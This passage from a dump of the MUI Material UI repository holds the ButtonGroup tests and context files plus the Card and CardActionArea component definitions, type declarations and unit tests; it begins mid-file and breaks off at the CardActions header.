@typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium', 'large']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['contained', 'outlined', 'text']),\n    PropTypes.string,\n  ]),\n};\n\nexport default ButtonGroup;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonGroup/ButtonGroup.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport ButtonGroup, { buttonGroupClasses as classes } from '@mui/material/ButtonGroup';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Button, { buttonClasses } from '@mui/material/Button';\nimport ButtonGroupContext from './ButtonGroupContext';\nimport describeConformance from '../../test/describeConformance';\nimport * as ripple from '../../test/ripple';\n\ndescribe('<ButtonGroup />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <ButtonGroup>\n      <Button>Conformance?</Button>\n    </ButtonGroup>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      refInstanceof: window.HTMLDivElement,\n      testComponentPropWith: 'span',\n      muiName: 'MuiButtonGroup',\n      testVariantProps: { variant: 'contained' },\n    }),\n  );\n\n  it('should render with the root class but no others', () => {\n    const { container } = render(\n      <ButtonGroup>\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n    const buttonGroup = container.firstChild;\n    expect(buttonGroup).to.have.class(classes.root);\n    expect(buttonGroup).not.to.have.class(classes.contained);\n    expect(buttonGroup).not.to.have.class(classes.fullWidth);\n  });\n\n  it('should have colorPrimary, horizontal class', () => {\n    const { container } = render(\n      <ButtonGroup>\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n    const buttonGroup = container.firstChild;\n    expect(buttonGroup).to.have.class(classes.colorPrimary);\n    expect(buttonGroup).to.have.class(classes.horizontal);\n  });\n\n  it('should have colorSecondary class', () => {\n    const { container } = render(\n      <ButtonGroup color=\"secondary\">\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n\n    const buttonGroup = container.firstChild;\n    expect(buttonGroup).to.have.class(classes.colorSecondary);\n  });\n\n  it('should render an outlined button', () => {\n    render(\n      <ButtonGroup>\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n\n    const button = screen.getByRole('button');\n    expect(button).to.have.class(buttonClasses.outlined);\n    expect(button).to.have.class(classes.grouped);\n    expect(button).to.have.class(buttonClasses.colorPrimary);\n    expect(button).not.to.have.class(buttonClasses.colorSecondary);\n  });\n\n  it('can render an outlined primary button', () => {\n    render(\n      <ButtonGroup color=\"primary\">\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n\n    const button = screen.getByRole('button');\n    expect(button).to.have.class(buttonClasses.outlined);\n    expect(button).to.have.class(buttonClasses.colorPrimary);\n    expect(button).to.have.class(classes.grouped);\n    expect(button).not.to.have.class(buttonClasses.colorSecondary);\n  });\n\n  it('can render a contained button', () => {\n    render(\n      <ButtonGroup variant=\"contained\">\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n\n    const button = screen.getByRole('button');\n    expect(button).to.have.class(buttonClasses.contained);\n    expect(button).to.have.class(classes.grouped);\n    expect(button).to.have.class(buttonClasses.colorPrimary);\n    expect(button).not.to.have.class(buttonClasses.colorSecondary);\n  });\n\n  it('can render a small button', () => {\n    render(\n      <ButtonGroup size=\"small\">\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n\n    const button = screen.getByRole('button');\n    expect(button).to.have.class(buttonClasses.outlined);\n    expect(button).to.have.class(buttonClasses.sizeSmall);\n  });\n\n  it('can render a large button', () => {\n    render(\n      <ButtonGroup size=\"large\">\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n\n    const button = screen.getByRole('button');\n    expect(button).to.have.class(buttonClasses.outlined);\n    expect(button).to.have.class(buttonClasses.sizeLarge);\n  });\n\n  it('should have a ripple', async () => {\n    const { container } = render(\n      <ButtonGroup>\n        <Button TouchRippleProps={{ classes: { root: 'touchRipple' } }}>Hello World</Button>\n      </ButtonGroup>,\n    );\n    await ripple.startTouch(screen.getByRole('button'));\n    expect(container.querySelector('.touchRipple')).not.to.equal(null);\n  });\n\n  it('can disable the elevation', () => {\n    render(\n      <ButtonGroup disableElevation>\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n\n    const button = screen.getByRole('button');\n    expect(button).to.have.class(buttonClasses.disableElevation);\n  });\n\n  it('can disable the ripple', async () => {\n    const { container } = render(\n      <ButtonGroup disableRipple>\n        <Button TouchRippleProps={{ classes: { root: 'touchRipple' } }}>Hello World</Button>\n      </ButtonGroup>,\n    );\n    await ripple.startTouch(screen.getByRole('button'));\n    expect(container.querySelector('.touchRipple')).to.equal(null);\n  });\n\n  it('should not be fullWidth by default', () => {\n    const { container } = render(\n      <ButtonGroup>\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n    const button = screen.getByRole('button');\n    const buttonGroup = container.firstChild;\n    expect(buttonGroup).not.to.have.class(classes.fullWidth);\n    expect(button).not.to.have.class(buttonClasses.fullWidth);\n  });\n\n  it('can pass fullWidth to Button', () => {\n    const { container } = render(\n      <ButtonGroup fullWidth>\n        <Button>Hello World</Button>\n      </ButtonGroup>,\n    );\n    const buttonGroup = container.firstChild;\n    const button = screen.getByRole('button');\n    expect(buttonGroup).to.have.class(classes.fullWidth);\n    expect(button).to.have.class(buttonClasses.fullWidth);\n  });\n\n  it('classes.grouped should be merged with Button className', () => {\n    render(\n      <ButtonGroup>\n        <Button className=\"foo-bar\">Hello World</Button>\n      </ButtonGroup>,\n    );\n    expect(screen.getByRole('button')).to.have.class(classes.grouped);\n    expect(screen.getByRole('button')).to.have.class('foo-bar');\n  });\n\n  it('should forward the context to children', () => {\n    let context;\n    render(\n      <ButtonGroup size=\"large\" variant=\"contained\">\n        <ButtonGroupContext.Consumer>\n          {(value) => {\n            context = value;\n          }}\n        </ButtonGroupContext.Consumer>\n      </ButtonGroup>,\n    );\n    expect(context.variant).to.equal('contained');\n    expect(context.size).to.equal('large');\n    expect(context.fullWidth).to.equal(false);\n    expect(context.disableRipple).to.equal(false);\n    expect(context.disableFocusRipple).to.equal(false);\n    expect(context.disableElevation).to.equal(false);\n    expect(context.disabled).to.equal(false);\n    expect(context.color).to.equal('primary');\n  });\n\n  describe('theme default props on Button', () => {\n    it('should override default variant prop', () => {\n      render(\n        <ThemeProvider\n          theme={createTheme({\n            components: {\n              MuiButton: {\n                defaultProps: {\n                  color: 'primary',\n                  size: 'medium',\n                  variant: 'contained',\n                },\n              },\n            },\n          })}\n        >\n          <ButtonGroup variant=\"outlined\" size=\"small\" color=\"secondary\">\n            <Button>Hello World</Button>\n          </ButtonGroup>\n        </ThemeProvider>,\n      );\n\n      expect(screen.getByRole('button')).to.have.class(buttonClasses.outlined);\n      expect(screen.getByRole('button')).to.have.class(buttonClasses.sizeSmall);\n      expect(screen.getByRole('button')).to.have.class(buttonClasses.colorSecondary);\n    });\n  });\n\n  describe('position classes', () => {\n    it('correctly applies position classes to buttons', () => {\n      render(\n        <ButtonGroup>\n          <Button>Button 1</Button>\n          <Button>Button 2</Button>\n          <Button>Button 3</Button>\n        </ButtonGroup>,\n      );\n\n      const firstButton = screen.getAllByRole('button')[0];\n      const middleButton = screen.getAllByRole('button')[1];\n      const lastButton = screen.getAllByRole('button')[2];\n\n      expect(firstButton).to.have.class(classes.firstButton);\n      expect(firstButton).not.to.have.class(classes.middleButton);\n      expect(firstButton).not.to.have.class(classes.lastButton);\n\n      expect(middleButton).to.have.class(classes.middleButton);\n      expect(middleButton).not.to.have.class(classes.firstButton);\n      expect(middleButton).not.to.have.class(classes.lastButton);\n\n      expect(lastButton).to.have.class(classes.lastButton);\n      expect(lastButton).not.to.have.class(classes.middleButton);\n      expect(lastButton).not.to.have.class(classes.firstButton);\n    });\n\n    it('does not apply any position classes to a single button', () => {\n      render(\n        <ButtonGroup>\n          <Button>Single Button</Button>\n        </ButtonGroup>,\n      );\n\n      const button = screen.getByRole('button');\n\n      expect(button).not.to.have.class(classes.firstButton);\n      expect(button).not.to.have.class(classes.middleButton);\n      expect(button).not.to.have.class(classes.lastButton);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ButtonGroup/ButtonGroupButtonContext.ts",
    "content": "'use client';\nimport * as React from 'react';\n\ntype ButtonPositionClassName = string;\n\n/**\n * @ignore - internal component.\n */\nconst ButtonGroupButtonContext = React.createContext<ButtonPositionClassName | undefined>(\n  undefined,\n);\n\nif (process.env.NODE_ENV !== 'production') {\n  ButtonGroupButtonContext.displayName = 'ButtonGroupButtonContext';\n}\n\nexport default ButtonGroupButtonContext;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonGroup/ButtonGroupContext.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport type { ButtonGroupProps } from './ButtonGroup';\n\ninterface ButtonGroupContextType {\n  className?: string | undefined;\n  color?: ButtonGroupProps['color'] | undefined;\n  disabled?: boolean | undefined;\n  disableElevation?: boolean | undefined;\n  disableFocusRipple?: boolean | undefined;\n  disableRipple?: boolean | undefined;\n  fullWidth?: boolean | undefined;\n  size?: ButtonGroupProps['size'] | undefined;\n  variant?: ButtonGroupProps['variant'] | undefined;\n}\n\n/**\n * @ignore - internal component.\n */\nconst ButtonGroupContext = React.createContext<ButtonGroupContextType>({});\n\nif (process.env.NODE_ENV !== 'production') {\n  ButtonGroupContext.displayName = 'ButtonGroupContext';\n}\n\nexport default ButtonGroupContext;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonGroup/buttonGroupClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ButtonGroupClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"contained\"`. */\n  contained: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `variant=\"text\"`. */\n  text: string;\n  /** Styles applied to the root element if `disableElevation={true}`. */\n  disableElevation: string;\n  /** State class applied to the child elements if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the first button in the button group. */\n  firstButton: string;\n  /** Styles applied to the root element if `fullWidth={true}`. */\n  fullWidth: string;\n  /** Styles applied to the root element if `orientation=\"horizontal\"`. */\n  horizontal: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** Styles applied to the children. */\n  grouped: string;\n  /** Styles applied to the root element if `color=\"primary\"` */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"` */\n  colorSecondary: string;\n  /** Styles applied to the last button in the button group. */\n  lastButton: string;\n  /** Styles applied to buttons in the middle of the button group. */\n  middleButton: string;\n}\n\nexport type ButtonGroupClassKey = keyof ButtonGroupClasses;\n\nexport function getButtonGroupUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiButtonGroup', slot);\n}\n\nconst buttonGroupClasses: ButtonGroupClasses = generateUtilityClasses('MuiButtonGroup', [\n  'root',\n  'contained',\n  'outlined',\n  'text',\n  'disableElevation',\n  'disabled',\n  'firstButton',\n  'fullWidth',\n  'horizontal',\n  'vertical',\n  'colorPrimary',\n  'colorSecondary',\n  'grouped',\n  'lastButton',\n  'middleButton',\n]);\n\nexport default buttonGroupClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonGroup/index.d.ts",
    "content": "export { default } from './ButtonGroup';\nexport * from './ButtonGroup';\nexport { default as buttonGroupClasses } from './buttonGroupClasses';\nexport * from './buttonGroupClasses';\nexport { default as ButtonGroupContext } from './ButtonGroupContext';\nexport { default as ButtonGroupButtonContext } from './ButtonGroupButtonContext';\n"
  },
  {
    "path": "packages/mui-material/src/ButtonGroup/index.js",
    "content": "export { default } from './ButtonGroup';\nexport { default as buttonGroupClasses } from './buttonGroupClasses';\nexport * from './buttonGroupClasses';\nexport { default as ButtonGroupContext } from './ButtonGroupContext';\nexport { default as ButtonGroupButtonContext } from './ButtonGroupButtonContext';\n"
  },
  {
    "path": "packages/mui-material/src/Card/Card.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { DistributiveOmit } from '@mui/types';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { PaperOwnProps } from '../Paper';\nimport { CardClasses } from './cardClasses';\n\n// TODO: v6 remove this interface, it is not used\nexport interface CardPropsColorOverrides {}\n\nexport interface CardOwnProps extends DistributiveOmit<PaperOwnProps, 'classes'> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<CardClasses> | undefined;\n  /**\n   * If `true`, the card will use raised styling.\n   * @default false\n   */\n  raised?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface CardTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & CardOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Card](https://next.mui.com/material-ui/react-card/)\n *\n * API:\n *\n * - [Card API](https://next.mui.com/material-ui/api/card/)\n * - inherits [Paper API](https://next.mui.com/material-ui/api/paper/)\n */\n\ndeclare const Card: OverridableComponent<CardTypeMap>;\n\nexport type CardProps<\n  RootComponent extends React.ElementType = CardTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<CardTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Card;\n"
  },
  {
    "path": "packages/mui-material/src/Card/Card.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Paper from '../Paper';\nimport { getCardUtilityClass } from './cardClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getCardUtilityClass, classes);\n};\n\nconst CardRoot = styled(Paper, {\n  name: 'MuiCard',\n  slot: 'Root',\n})({\n  overflow: 'hidden',\n});\n\nconst Card = React.forwardRef(function Card(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiCard',\n  });\n\n  const { className, raised = false, ...other } = props;\n\n  const ownerState = { ...props, raised };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <CardRoot\n      className={clsx(classes.root, className)}\n      elevation={raised ? 8 : undefined}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nCard.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the card will use raised styling.\n   * @default false\n   */\n  raised: chainPropTypes(PropTypes.bool, (props) => {\n    if (props.raised && props.variant === 'outlined') {\n      return new Error('MUI: Combining `raised={true}` with `variant=\"outlined\"` has no effect.');\n    }\n\n    return null;\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Card;\n"
  },
  {
    "path": "packages/mui-material/src/Card/Card.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport Card from '@mui/material/Card';\n\nconst CustomComponent: React.FC<{ stringProp: string; numberProp: number }> =\n  function CustomComponent() {\n    return <div />;\n  };\n\nfunction CardTest() {\n  return (\n    <div>\n      <Card />\n      <Card elevation={4} />\n      <Card\n        onClick={(event) => {\n          expectType<React.MouseEvent<HTMLDivElement, MouseEvent>, typeof event>(event);\n        }}\n      />\n      <Card\n        component=\"a\"\n        href=\"test\"\n        onClick={(event) => {\n          expectType<React.MouseEvent<HTMLAnchorElement, MouseEvent>, typeof event>(event);\n        }}\n      />\n      <Card component=\"a\" href=\"test\" />\n\n      <Card component={CustomComponent} stringProp=\"test\" numberProp={0} />\n      {/* @ts-expect-error missing stringProp and numberProp */}\n      <Card component={CustomComponent} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Card/Card.test.tsx",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Card, { cardClasses as classes } from '@mui/material/Card';\nimport Paper from '@mui/material/Paper';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Card />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Card />, () => ({\n    classes,\n    inheritComponent: Paper,\n    render,\n    muiName: 'MuiCard',\n    refInstanceof: window.HTMLDivElement,\n    testVariantProps: { raised: true },\n  }));\n\n  it('when raised should render Paper with 8dp', () => {\n    const { container } = render(\n      <Card\n        raised\n        classes={{\n          // @ts-expect-error unknown class that's also ignored at runtime\n          elevation8: 'card-elevation-8',\n        }}\n      />,\n    );\n    expect(container.firstChild).to.have.class('MuiPaper-elevation8');\n    expect(container.firstChild).not.to.have.class('card-elevation-8');\n  });\n\n  it('should support variant=\"outlined\"', () => {\n    const { container } = render(<Card variant=\"outlined\" />);\n    expect(container.firstChild).to.have.class('MuiPaper-outlined');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Card/cardClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface CardClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type CardClassKey = keyof CardClasses;\n\nexport function getCardUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiCard', slot);\n}\n\nconst cardClasses: CardClasses = generateUtilityClasses('MuiCard', ['root']);\n\nexport default cardClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Card/index.d.ts",
    "content": "export { default } from './Card';\nexport * from './Card';\n\nexport { default as cardClasses } from './cardClasses';\nexport * from './cardClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Card/index.js",
    "content": "export { default } from './Card';\n\nexport { default as cardClasses } from './cardClasses';\nexport * from './cardClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardActionArea/CardActionArea.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { SlotProps, CreateSlotsAndSlotProps } from '../utils/types';\nimport { Theme } from '../styles';\nimport {\n  ButtonBaseProps,\n  ButtonBaseTypeMap,\n  ExtendButtonBase,\n  ExtendButtonBaseTypeMap,\n} from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { CardActionAreaClasses } from './cardActionAreaClasses';\n\nexport interface CardActionAreaSlots {\n  /**\n   * The component that renders the root.\n   * @default ButtonBase\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the focusHighlight.\n   * @default span\n   */\n  focusHighlight: React.ElementType;\n}\n\nexport type CardActionAreaSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  CardActionAreaSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the span element.\n     */\n    root: SlotProps<React.ElementType<ButtonBaseProps>, {}, CardActionAreaOwnerState>;\n    /**\n     * Props forwarded to the focusHighlight slot.\n     * By default, the available props are based on the span element.\n     */\n    focusHighlight: SlotProps<'span', {}, CardActionAreaOwnerState>;\n  }\n>;\n\nexport interface CardActionAreaOwnerState extends Omit<\n  CardActionAreaProps,\n  'slots' | 'slotProps'\n> {}\n\nexport interface CardActionAreaOwnProps {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<CardActionAreaClasses> | undefined;\n  focusVisibleClassName?: string | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type CardActionAreaTypeMap<\n  AdditionalProps,\n  RootComponent extends React.ElementType,\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & CardActionAreaOwnProps & CardActionAreaSlotsAndSlotProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n *\n * Demos:\n *\n * - [Card](https://next.mui.com/material-ui/react-card/)\n *\n * API:\n *\n * - [CardActionArea API](https://next.mui.com/material-ui/api/card-action-area/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const CardActionArea: ExtendButtonBase<\n  CardActionAreaTypeMap<{}, ButtonBaseTypeMap['defaultComponent']>\n>;\n\nexport type CardActionAreaProps<\n  RootComponent extends React.ElementType = ButtonBaseTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<CardActionAreaTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default CardActionArea;\n"
  },
  {
    "path": "packages/mui-material/src/CardActionArea/CardActionArea.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport cardActionAreaClasses, { getCardActionAreaUtilityClass } from './cardActionAreaClasses';\nimport ButtonBase from '../ButtonBase';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    focusHighlight: ['focusHighlight'],\n  };\n\n  return composeClasses(slots, getCardActionAreaUtilityClass, classes);\n};\n\nconst CardActionAreaRoot = styled(ButtonBase, {\n  name: 'MuiCardActionArea',\n  slot: 'Root',\n})(\n  memoTheme(({ theme }) => ({\n    display: 'block',\n    textAlign: 'inherit',\n    borderRadius: 'inherit', // for Safari to work https://github.com/mui/material-ui/issues/36285.\n    width: '100%',\n    [`&:hover .${cardActionAreaClasses.focusHighlight}`]: {\n      opacity: (theme.vars || theme).palette.action.hoverOpacity,\n      '@media (hover: none)': {\n        opacity: 0,\n      },\n    },\n    [`&.${cardActionAreaClasses.focusVisible} .${cardActionAreaClasses.focusHighlight}`]: {\n      opacity: (theme.vars || theme).palette.action.focusOpacity,\n    },\n  })),\n);\n\nconst CardActionAreaFocusHighlight = styled('span', {\n  name: 'MuiCardActionArea',\n  slot: 'FocusHighlight',\n})(\n  memoTheme(({ theme }) => ({\n    overflow: 'hidden',\n    pointerEvents: 'none',\n    position: 'absolute',\n    top: 0,\n    right: 0,\n    bottom: 0,\n    left: 0,\n    borderRadius: 'inherit',\n    opacity: 0,\n    backgroundColor: 'currentcolor',\n    transition: theme.transitions.create('opacity', {\n      duration: theme.transitions.duration.short,\n    }),\n  })),\n);\n\nconst CardActionArea = React.forwardRef(function CardActionArea(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiCardActionArea' });\n  const {\n    children,\n    className,\n    focusVisibleClassName,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const ownerState = props;\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: CardActionAreaRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    shouldForwardComponentProp: true,\n    ownerState,\n    ref,\n    className: clsx(classes.root, className),\n    additionalProps: {\n      internalNativeButton: true,\n      focusVisibleClassName: clsx(focusVisibleClassName, classes.focusVisible),\n    },\n  });\n\n  const [FocusHighlightSlot, focusHighlightProps] = useSlot('focusHighlight', {\n    elementType: CardActionAreaFocusHighlight,\n    externalForwardedProps,\n    ownerState,\n    className: classes.focusHighlight,\n  });\n\n  return (\n    <RootSlot {...rootProps}>\n      {children}\n      <FocusHighlightSlot {...focusHighlightProps} />\n    </RootSlot>\n  );\n});\n\nCardActionArea.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * @ignore\n   */\n  focusVisibleClassName: PropTypes.string,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    focusHighlight: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    focusHighlight: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default CardActionArea;\n"
  },
  {
    "path": "packages/mui-material/src/CardActionArea/CardActionArea.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport CardActionArea, { cardActionAreaClasses as classes } from '@mui/material/CardActionArea';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport describeConformance from '../../test/describeConformance';\n\nconst CustomButtonBase = React.forwardRef(({ focusVisibleClassName, ...props }, ref) => {\n  return <ButtonBase {...props} ref={ref} />;\n});\n\ndescribe('<CardActionArea />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<CardActionArea />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    muiName: 'MuiCardActionArea',\n    testDeepOverrides: { slotName: 'focusHighlight', slotClassName: classes.focusHighlight },\n    testVariantProps: { variant: 'foo' },\n    refInstanceof: window.HTMLButtonElement,\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n        testWithElement: CustomButtonBase,\n      },\n      focusHighlight: {\n        expectedClassName: classes.focusHighlight,\n      },\n    },\n  }));\n\n  it('should not forward root ref to the focusHighlight slot', () => {\n    const ref = React.createRef();\n\n    const { container } = render(<CardActionArea ref={ref}>Content</CardActionArea>);\n\n    const focusHighlight = container.querySelector(`.${classes.focusHighlight}`);\n\n    expect(ref.current).not.equal(focusHighlight);\n  });\n\n  it('forwards nativeButton={false} through useSlot to ButtonBase', () => {\n    const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n    const { container } = render(\n      <CardActionArea component={CustomSpan} nativeButton={false}>\n        Content\n      </CardActionArea>,\n    );\n\n    expect(container.firstChild).to.have.tagName('SPAN');\n    expect(container.firstChild).to.have.attribute('role', 'button');\n    expect(container.firstChild).not.to.have.attribute('type');\n\n    // Proves nativeButton={false} was forwarded — without it, ButtonBase\n    // would warn about a non-button host with nativeButton omitted.\n    expect(errorSpy.mock.calls.length).to.equal(0);\n    errorSpy.mockRestore();\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/CardActionArea/cardActionAreaClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface CardActionAreaClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the ButtonBase root element if the action area is keyboard focused. */\n  focusVisible: string;\n  /** Styles applied to the overlay that covers the action area when it is keyboard focused. */\n  focusHighlight: string;\n}\n\nexport type CardActionAreaClassKey = keyof CardActionAreaClasses;\n\nexport function getCardActionAreaUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiCardActionArea', slot);\n}\n\nconst cardActionAreaClasses: CardActionAreaClasses = generateUtilityClasses('MuiCardActionArea', [\n  'root',\n  'focusVisible',\n  'focusHighlight',\n]);\n\nexport default cardActionAreaClasses;\n"
  },
  {
    "path": "packages/mui-material/src/CardActionArea/index.d.ts",
    "content": "export { default } from './CardActionArea';\nexport * from './CardActionArea';\n\nexport { default as cardActionAreaClasses } from './cardActionAreaClasses';\nexport * from './cardActionAreaClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardActionArea/index.js",
    "content": "export { default } from './CardActionArea';\n\nexport { default as cardActionAreaClasses } from './cardActionAreaClasses';\nexport * from './cardActionAreaClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardActions/CardActions.d.ts",
